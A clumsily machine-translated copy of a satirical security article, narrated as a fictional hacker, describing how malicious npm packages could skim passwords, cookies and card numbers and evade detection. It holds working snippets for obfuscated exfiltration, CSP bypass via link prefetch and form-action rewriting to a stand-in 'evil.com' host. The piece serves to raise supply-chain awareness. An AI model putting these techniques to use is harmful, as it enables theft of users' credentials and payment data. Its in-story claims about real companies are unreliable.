The story of how I steal credit card numbers and passwords from visitors to your sites

Original author: David Gilbertson
  • Transfer
Continuation: The story of how to prevent me from stealing credit card numbers and passwords from visitors to your sites
We present you a translation of an article by a person who stole usernames, passwords and credit card numbers from various sites for several years.


What I want to talk about was really. Or maybe my story is only based on real events. And maybe all of this is fiction.

It happened once such a week - a crazy time when everyone around was worried about security. The feeling was that new vulnerabilities appeared daily. It wasn’t so easy for me to pretend that I understand what happens when close people ask me about it. They were worried by the prospect that they would be hacked, that their data would flow away to no one knew where. All this made me look at a lot in a new way.

As a result, reluctantly, I decided to put everything straight and tell the whole world about how I had stolen usernames, passwords and credit card numbers from various sites in the past few years. You may be the administrator or developer of one of them.

How it works


The code itself, which allows you to steal data from sites, is very simple. It feels best when executed on a page that meets the following criteria:

  • There is a tag on the page
    .
  • There is an element in the properties of which there is input[type="password"]either or name="cardnumber", or name="cvc", or something similar.
  • The page contains words like “credit card”, “checkout”, “login”, “password”, and so on.

Then, when an event occurs blurnear the field for entering a password or credit card number, or when a submitform event occurs , the code performs the following actions:

  • It takes data from all fields of the form located on the page ( document.forms.forEach(…)).
  • Reads document.cookie.
  • Turns it all into a string that looks like a messy character set ( const payload = btoa(JSON.stringify(sensitiveUserData))).
  • Then it sends what happened to an address like this: https://legit-analytics.com?q=${payload}(the address is, of course, a fictitious one).

In short, if something seems to me to be of any value, I send it to my server.

Background


Of course, when I just wrote this code, in 2015, while he was on my own computer, he could not do anything useful. I needed to release him into the outside world. For example, directly to your site.

Here is Google ’s wise advice :

If the attacker has successfully injected any code somewhere, then, by and large, there is nothing to talk about.

What technology to choose to distribute such code? XSS is not on that scale, and everything is very well protected here. Chrome extensions are too limited.

Fortunately for me, we live in an era when people, not really thinking about what they are doing, are constantly installing npm packages.

NPM


So, npm has become my method for spreading malicious code. I just had to come up with a Trojan horse - a package that bears at least some benefit, which webmasters would install without worrying about possible problems.

I must say that people like pretty colors - this is what makes us different from dogs. Therefore, I created a package that allows you to output data to the console, coloring the text. Here's what it looks like:


And here, if necessary, the source code .

I was very upset at this moment, because I had an interesting package, everything was ready to fulfill my plan, but I did not want to wait until interested parties slowly discover this package and start using it. So I started doing pull requests to existing packages that added my package to their dependencies.

I made several hundred requests (from different accounts, none of them revealed my real name) in different frontend packages and depending on them. “Listen, I fixed problem X and added logging capabilities.”

You just look - I contribute to open source! I met a lot of sane people who stated that they did not need a new addiction, however, I was quite ready for this. Here it is all about quantity.

As a result, a resounding success awaited me, and 23 packages now depended on my code for coloring the output to the console. One of them was dependent on a very widely used package - it was, so to speak, my money cow. I won’t give names, but such common packages are exactly what I needed.

And this is just one package. There were 6 more similar.

Then I went out to more than 120,000 downloads per month, and could proudly declare that my malicious code is executed on thousands of sites every day, including some from the Alexa Top 1000 list, sending me entire rivers of user names, passwords and credit card information .

Remembering these golden years, I can’t believe that people make so much effort to carry out XSS attacks that affect only one site. It is so easy to implement your own code on thousands of sites using the involuntary help of web developers.

Analysis of the comments of those who are confident in their safety


Some people may doubt the effectiveness of the above scheme for implementing code on websites and collecting valuable data and make some comments that boil down to the fact that my malicious package is not scary for his project. Let's talk about it.

▍ I would notice outgoing network requests!


Where would you notice them? My code does not send anything when the developer tools are open (yes, even if the corresponding panel is detached from the main window).

I call this the “Heisenberg maneuver”: trying to observe the behavior of my code, you change its behavior.

In addition, my program sits quietly in the performance of the local host, or any IP-address, or when the domain name contains the words dev, test, qa, uator staging(surrounded by the symbols of the word boundary \b).

▍Our pentesters would see this in their means for monitoring HTTP requests!


What hours do they work? My program does not send anything anywhere between the 7th morning and the 7th evening. This cuts the catch in half, but reduces the chance of my code being detected by 95%.

And the credentials I need only once. Therefore, after I sent data from a certain device, I record about it (in local storage and cookies) and do not send data from this device anymore. I don’t need replication.

Even if some diligent pentester constantly clears cookies and local storage, I send data to my server only periodically, and I also bring here some chance. Data is sent once for approximately seven data entry sessions - the ideal frequency of occurrence of a suspicious event, which allows you to drive crazy the person who is looking for vulnerabilities.

In addition, the URL looks very similar to the three hundred other requests that your site makes, say, to ad networks.

The fact is that the fact that you do not see this does not mean that this does not happen. My system has been working for more than two years, and as far as I know, no one has ever even noticed these of my requests. Maybe all this time my code worked on your site.

Funny thing. When I processed all the passwords and credit card numbers that I collected and prepared them for sale in Dakrweb, I had to check if my credit card or something else was in this data, in case I intercepted my own data. That would not be so much fun.

▍I would see it in the source code of the package on GitHub!


Your innocence is touching. But I'm afraid it’s absolutely realistic to do this: send one version of the code to GitHub and the other to npm.

In mine, package.jsonI set the property filesso that it points to a directory libthat contains malicious code that has been minified and altered beyond recognition. This is what the team npm publishsends to npm. But the directory libis listed in .gitignore, as a result, its contents will never reach GitHub. We have a very common approach, so this does not even seem suspicious when viewing project files on GitHub.

This is not an npm problem, if I hadn’t even sent different code to npm and to GitHub, who could say that what lies in /lib/package.min.jsis the real result of minification /src/package.js?

As a result, no one can find my code on GitHub.

▍ I would analyze all minified source code from node_modules!


So, now you are just looking for flaws in my scheme for stealing data from sites. But, perhaps you believe that you can write something intelligent that automatically checks the code for various suspicious things.

If so, then again, you cannot find anything suspicious in my code. I have no words fetchand XMLHttpRequest, or a domain name where I send the data. My data collection code looks something like this:

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

The string "gfudi" is just the word "fetch", the character codes of which are increased by one. Here is hardcore cryptography in action. A selfis just an alias for window.

And here is another way to write a command of the form fetch(...):

self['\u0066\u0065\u0074\u0063\u0068'](...)

The conclusion is that it is very difficult, almost impossible, to detect all sorts of disgraces in obfuscated code.

Given the above, I want to say that I, in fact, do not use any boring things like that fetch. I prefer, wherever possible, to use a design like new EventSource(urlWithYourPreciousData). With this approach, even if you monitor outgoing requests with paranoid persistence, using serviceWorkerto listen to events fetch, my code will not fall into such a trap. I just do not send anything from browsers that support serviceWorker, but not EventSource.

▍ I have a content protection policy!


Oh, this is a surprise. Did someone tell you that the Content Security Policy (CSP) will not allow malicious code to send data to some tricky domain? I don’t like playing the part of someone who brings bad news, but the following four lines of code will skip past even the toughest CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

In an earlier version of this article, I said that a well-thought-out CSP would protect you (quote) "100%." Unfortunately, before I thought of the above trick, 130 thousand people read this material. I think so, from here we can conclude that you cannot trust anyone and nothing on the Internet.

However, content protection policies cannot be called completely useless. The above example only works in Chrome, and a good CSP can interfere with my code in some less common browsers.

If you do not already know, then CSPcan (try, at least) to limit what network requests can be made from the browser. Often these policies are spoken of as a set of rules that allow you to restrict what can go to the browser, but you can also consider CSP as a means of protecting what can be sent from the browser (when I “send” your users' passwords to my server - this just a parameter in a GET request).

In the case where I cannot send data using the prefetch trick described above, content protection policies become a problem for my credit card collection corporation. And not just because they bother me.

You may notice that if I try to steal data from a site that has a CSP, the site owner may be notified of an unsuccessful attempt to invade (if specifiedreport-uri) This, in the end, can attract attention to my code, the site owner will go further, which means that I may have serious problems.

Since I do not want to attract attention (unless it is a dance floor), I check the CSP before trying to send something to my server from the browser.

In order to do this, I perform a fictitious query on the current page and analyze the headers.

fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // Существует ли такой заголовок? Устраивает ли это меня?
});

At this point, I can look for holes in the CSP. Amazingly, the Google login page has a bad CSP that would allow me to very easily intercept the username and password if my code was executed on this page. They did not provide for installation connect-srcand, in addition, did not specify a “universal interceptor,” default-srcwhich gives me the opportunity to send what I collected when I want to.

If you send me ten dollars by mail, I’ll tell you if my code is on the Google login page.

Amazon, on the page where the credit card number is entered, does not have CSP at all. The same goes for eBay.

Twitter and PayPal have a CSP, but stealing data from them is very simple. These two companies made the same mistake, and perhaps this indicates that others are making it. At first glance, everything looks pretty decent, and there and there, as it should be, set default-src. But the problem is this thing should intercept everything, but it doesn’t. They did not block form-action.

So, when I check the content protection policy (and check it twice), if everything else is blocked, but I see that it is not blocked form-action, I just take and change the action (in the place where the data is sent to the server by clicking the Login button or the like ) in all forms.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

Like this. Thank you, friend, for sending me your PayPal username and password. I will send you a greeting card with a photo of everything that I bought with your money.

Naturally, I perform such a trick only once on one device, and send the user directly to the corresponding page when he shrugs and tries to use the form again.

By the way, using this method, I hacked into Trump's Twitter account and started posting all kinds of nonsense. As far as I know, no one has noticed this yet.

I hope that I managed to dispel the doubts of those who were not sure of the operability of the approach to collecting data from sites described here. Now it’s quite logical to ask how to protect yourself from this.

What to do?


Here are a few options to protect against everything that I talked about.

▍ Option number 1: no internet, no sites


I suppose everything is clear here without a word:


You will be safe here.

▍Option No. 2: no extraneous code on important pages


On every page that collects any data that you want to protect from me (or from my fellow hackers), do not use npm modules. The same applies to Google Tag Manager, or ad network code, or analytic scripts, in general - we are talking about any other code.

As advised here , you can decide to get very simple dedicated pages for logging in and entering credit card numbers that are displayed using iFrame.

At the same time, all other parts of the page, such as caps, cellars and navigation blocks, can work on the good old React, where 138 npm packages are connected. However, that part of the page on which the user enters valuable data should work in a separate iFrame, in which, if you want to check some data on the client side, only JavaScript code written by you yourself should be executed (and, let me give a recommendation not minified).

Soon I will publish a report for the year 2017, where I will declare the income received from theft of credit cards and selling them to all sorts of criminal elements. The law requires me to disclose the list of sites with which I collected the most credit card numbers. Maybe among them will be your site?

Since I am a positive person, anyone on the list who successfully blocked my data collection attempts until January 12th will be spared public shame.

Serious talk


I admit that it may be difficult for someone to understand my ruthless sarcasm, for example, for people who lack a sense of humor. Therefore, just to dot all the i, I want to say that I did not create an npm package that steals information from sites. This material is pure fiction, but all this could very well happen in reality. Although all this is just my fantasy, it worries me that all this is pretty easy to implement.

There are enough smart, but dishonest people in the world, in addition, there are about 400,000 npm packages. It seems to me that it is highly likely that at least one of them can contain malicious code, and if this code is written well, no one will ever know about it.

Let's do one interesting thought experiment. Last week I wrote an npm package, a small oneemollient function . This package has nothing to do with my story today, and I give the gentleman the word that there is nothing harmful in it. How nervous will you be when connecting this package to your site code?

Summary


Why did I even write this material? Maybe in order to tell everyone who reads that he is a simpleton, which is easy to circle around a finger? Of course not. (And, by the way, it would be worth starting with this, but then I realized that I was the same coot).

My goal (as it turned out) is to draw attention to the fact that any site that includes third-party code is vulnerable. Moreover, its vulnerabilities are almost impossible to detect. I hope this story of mine gave food to the mind of those who care about online security issues.

Dear readers! What do you do to protect your web projects from the potentially dangerous third-party code included in them?


Also popular now: